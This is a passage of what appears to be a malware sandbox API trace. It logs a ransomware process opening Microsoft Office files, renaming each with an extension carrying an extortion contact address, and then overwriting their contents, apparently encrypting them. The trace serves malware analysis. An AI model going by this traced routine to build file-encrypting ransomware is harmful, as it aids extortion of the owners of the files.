[0142.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0142.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ddeb2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ddeb2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b2bfd4c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29a7, dwReserved0=0xaec7496, dwReserved1=0x72c2890, cFileName="MondoR_Retail-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~3.FIR")) returned 0x6d5000 [0142.988] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0142.988] Sleep (dwMilliseconds=0x1) [0143.864] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD", len=0x41 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD") returned 1 [0143.864] GetProcessHeap () returned 0x630000 [0143.864] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b0) returned 0x71f7c78 [0143.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0145.436] CloseHandle (hObject=0x620) returned 1 [0145.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HVACDU~1.FIR")) returned 0x6d5280 [0146.877] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvacduct.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0146.877] GetProcessHeap () returned 0x630000 [0146.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6672f8 [0146.877] GetProcessHeap () returned 0x630000 [0146.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6f014f8 [0146.877] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.877] ReadFile (in: hFile=0x620, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x5c3ff0c*=0x500, lpOverlapped=0x0) returned 1 [0146.883] GetProcessHeap () returned 0x630000 [0146.883] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0146.883] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.884] WriteFile (in: hFile=0x620, lpBuffer=0x6f014f8*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f014f8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x500, lpOverlapped=0x0) returned 1 [0146.884] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.884] WriteFile (in: hFile=0x620, lpBuffer=0x6f019f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f019f7*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.884] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.884] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.884] CloseHandle (hObject=0x620) returned 1 [0146.884] GetProcessHeap () returned 0x630000 [0146.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f014f8 | out: hHeap=0x630000) returned 1 [0146.884] GetProcessHeap () returned 0x630000 [0146.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0146.884] GetProcessHeap () returned 0x630000 [0146.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0146.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d7e7670, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0xaec7496, dwReserved1=0x6672f0, cFileName="HVACDUCT.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HVACDU~1.FIR")) returned 0x6d5480 [0146.885] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0146.885] Sleep (dwMilliseconds=0x1) [0148.061] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", len=0x4a | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX") returned 1 [0148.061] GetProcessHeap () returned 0x630000 [0148.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2690) returned 0x71f7c78 [0148.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0149.597] CloseHandle (hObject=0x704) returned 1 [0149.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEWTEMPLATE2.POTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~2.FIR")) returned 0x6d5540 [0149.598] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0149.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0149.598] GetProcessHeap () returned 0x630000 [0149.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7124668 [0149.599] GetProcessHeap () returned 0x630000 [0149.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712fa98 [0149.599] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.599] ReadFile (in: hFile=0x704, lpBuffer=0x7124668, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7124668*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.493] GetProcessHeap () returned 0x630000 [0158.493] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0158.493] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.493] WriteFile (in: hFile=0x704, lpBuffer=0x712fa98*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712fa98*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.494] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.494] WriteFile (in: hFile=0x704, lpBuffer=0x713ae97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ae97*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.496] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.497] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.497] CloseHandle (hObject=0x704) returned 1 [0158.497] GetProcessHeap () returned 0x630000 [0158.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712fa98 | out: hHeap=0x630000) returned 1 [0158.497] GetProcessHeap () returned 0x630000 [0158.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7124668 | out: hHeap=0x630000) returned 1 [0158.497] GetProcessHeap () returned 0x630000 [0158.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0158.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246a4915, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x48d62, dwReserved0=0xaec7496, dwReserved1=0x7124660, cFileName="PREVIEWTEMPLATE2.POTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~2.FIR")) returned 0x6d5340 [0158.497] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0158.498] Sleep (dwMilliseconds=0x1) [0158.513] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml") returned 1 [0158.513] GetProcessHeap () returned 0x630000 [0158.513] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf8) returned 0x707d3d0 [0158.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0158.514] CloseHandle (hObject=0x704) returned 1 [0158.514] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a4, dwReserved0=0x3, dwReserved1=0x800001, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0158.516] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0158.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0158.516] GetProcessHeap () returned 0x630000 [0158.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11c1) returned 0x717648 [0158.516] GetProcessHeap () returned 0x630000 [0158.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11c1) returned 0x7177cb8 [0158.517] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.517] ReadFile (in: hFile=0x704, lpBuffer=0x717648, nNumberOfBytesToRead=0x11a0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x5c3ff0c*=0x11a0, lpOverlapped=0x0) returned 1 [0158.535] GetProcessHeap () returned 0x630000 [0158.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0158.535] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.535] WriteFile (in: hFile=0x704, lpBuffer=0x7177cb8*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7177cb8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x11a0, lpOverlapped=0x0) returned 1 [0158.535] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.535] WriteFile (in: hFile=0x704, lpBuffer=0x7178e57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7178e57*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.535] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.535] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.536] CloseHandle (hObject=0x704) returned 1 [0158.536] GetProcessHeap () returned 0x630000 [0158.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177cb8 | out: hHeap=0x630000) returned 1 [0158.536] GetProcessHeap () returned 0x630000 [0158.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0158.536] GetProcessHeap () returned 0x630000 [0158.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0158.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x247170f9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11c8, dwReserved0=0xaec7496, dwReserved1=0x717640, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f80 [0158.536] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0158.536] Sleep (dwMilliseconds=0x1) [0161.051] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml") returned 1 [0161.051] GetProcessHeap () returned 0x630000 [0161.051] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd8) returned 0x707d3d0 [0161.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0161.052] CloseHandle (hObject=0x6a4) returned 1 [0161.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1050, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0161.054] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0161.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0161.054] GetProcessHeap () returned 0x630000 [0161.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1061) returned 0x722d8f0 [0161.054] GetProcessHeap () returned 0x630000 [0161.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1061) returned 0x7237dc8 [0161.054] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.054] ReadFile (in: hFile=0x6a4, lpBuffer=0x722d8f0, nNumberOfBytesToRead=0x1040, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722d8f0*, lpNumberOfBytesRead=0x5c3ff0c*=0x1040, lpOverlapped=0x0) returned 1 [0161.080] GetProcessHeap () returned 0x630000 [0161.080] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0161.080] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, 